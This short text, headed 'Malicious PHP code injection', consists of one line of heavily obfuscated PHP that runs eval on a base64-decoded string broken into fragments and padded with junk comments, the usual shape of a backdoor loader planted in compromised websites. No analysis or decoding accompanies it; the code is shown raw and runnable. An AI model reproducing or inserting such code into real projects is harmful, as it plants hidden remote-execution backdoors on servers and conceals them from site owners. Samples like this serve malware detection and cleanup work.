Malicious PHP code injection

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<?php /*q0'v*/eval/*dXnNYe*/(/*ue'9*/base64_decode/*AS */(/*,dx-*/'LypvRDUmYTNLKi9ldmFsLypjTiYqLygvKlw3K14qL2Jhc2U2NF9kZWNvZGUvKl'/*9V~$z*/./*+[5*/'t6QkgqLygvKns6WmU8Ki8nTHlwSVoxWWxZVlJ1S2k5cFppOHFLMDEzSUZ0dEtp'/*5)TXR*/./*M P8Bhc*/'OG9MeW95SzJGSmJpMXRLJy8qYSZAbyovLi8qe117aiovJ2k5cGMzTmxkQzhxT0'/*[`%s&*/./*De5@|jS*/'c1MUtGTm9TWE1xTHlndkttWlVNMHRYVVNZcUx5UmZVaycvKns7UidJdiovLi8q'/*QYcHS.*/./*''^*/'VCd1fiovJ1ZSVlVWVFZDOHFOVlZyWWlvdld5OHFJVFpoS2k4bllTY3ZLaXhDWn'/*]DQ\;'*/./*yZ]*/'kwcUx5NCcvKkJuJDpKNDZwKi8uLyp9MmArUCovJ3ZLaWdoWjFzMmJpb3ZKM05q'/*.PaAV<*/./*Vn{'c.`*/'Snk4cVd6TjFYMUVxTDEwdktubHNURzlRS2k4dicvKmhEaDNlYyYqLy4vKitRJC'/*nbZE(*/./*4F<&+A*/'B9Ki8nS25oUVhVWjJiQ292S1M4cVdtNUxXU292THlvMFQwMHFMeWt2S2tvbWVs'/*R2Bo}a*/./*Rb<:*/'TnRLJy8qSENWKi8uLypcWCR9WHkzKi8naTlsZG1Gc0x5cDNmR01oTkQxMEtpOG'/*bEo*/./*_[jNW*/'9MeXB4ZUhOM2ZFb3FMM04wY21sd2MyJy8qflwzRCovLi8qTT9BXiA7dXBWKi8n'/*0dve*/./*R.Ov@*/'eGhjMmhsY3k4cWN6czRjMnNxTHlndktqTjdSU2RGS2k4a1gxSkZVVlZGVTFRJy'/*voH2-+*/./*w]_+fH*/'8qRmM6fFI5Ki8uLyo2TiV2XygqLyd2S21vbFZDb3ZXeThxTUZkTmFGVk1LaThu'/*<LOo-6*/./*8Qo8*/'WVNjdktqVnpSSElxTHk0dktqNWQnLypHcCwkJiovLi8qZUItYUdaKi8nYkN3L0'/*Wn%T*/./*-CL*/'tpOG5jeWN2S2tWbVcwNWFLaTh1THlwOWF5QnJXVjR3S2k4bll5Y3ZLJy8qfkNP'/*BpO*/./*3{mV6C@*/'UiY9Ki8uLyoyQDwrKi8na1pPWW5WQ05GWXFMMTB2S2tWaFozd3FMeThxYjNKVm'/*]5Xb-*/./*'M}T*/'VTb3ZLUzhxVGtSY2JVJy8qWS1YW3t1Ki8uLyp+ODgwTGVhKi8nQm1ZQ292THlw'/*iqs6GX*/./*3O,MP*/'dlkyTjhlMUJPT0NvdktTOHFmVGM4S2k4dkttZFdNeW92T3k4cVNTVjRXQ292Jy'/*^)n*/./*m.3@5*/'8qOnYzSj0gKi8pLyp7MjI3RSovLyoxO2g8OCwqLykvKjRzdz8qLy8qSV04XSovOy8qRzl9d2ZGKi8='/*.A^g*/)/*4IV9x{z*//*@[9UtU*/)/*R,?y*//*Wr5kWGE*/;/*[t}W*/ ?>